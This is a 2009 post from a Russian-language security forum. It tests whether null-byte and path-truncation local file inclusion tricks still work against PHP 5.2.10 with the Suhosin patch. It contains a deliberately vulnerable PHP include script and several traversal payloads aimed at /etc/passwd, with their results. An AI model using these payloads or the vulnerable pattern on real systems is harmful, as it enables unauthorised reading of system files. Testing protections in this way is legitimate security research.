ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

null byte в PHP c последними версиями Suhosin-Patch
  #1  
Старый 22.11.2009, 22:15
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию null byte в PHP c последними версиями Suhosin-Patch

PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

Скрипт (обычный LFI):
PHP код:
<pre>
<?php
if (isset($_GET['p'])) {
    echo 
"PATH: ".$_GET['p']."\n";
    include(
"./".$_GET['p'].".txt");
} else {
    echo 
"Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

1. test.php?p=../../../../../../../etc/passwd

Результат:
Цитата:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'

2. test.php?p=../../../../../../../etc/passwd%00

Результат:
Цитата:
Переменная не определена

3. test.php?p=../../../../../../../etc/passwd//////[4096]/////


Результат:
Цитата:
Переменная не определена

4. test.php?p=../../../../../../../etc/passwd//////[1024]/////


Результат:
Цитата:
Переменная не определена

5. test.php?p=../../../../../../../etc/passwd//////[512]/////


Результат:
Цитата:
Переменная не определена
Если объявить переменную:
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 23.11.2009 в 00:01..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ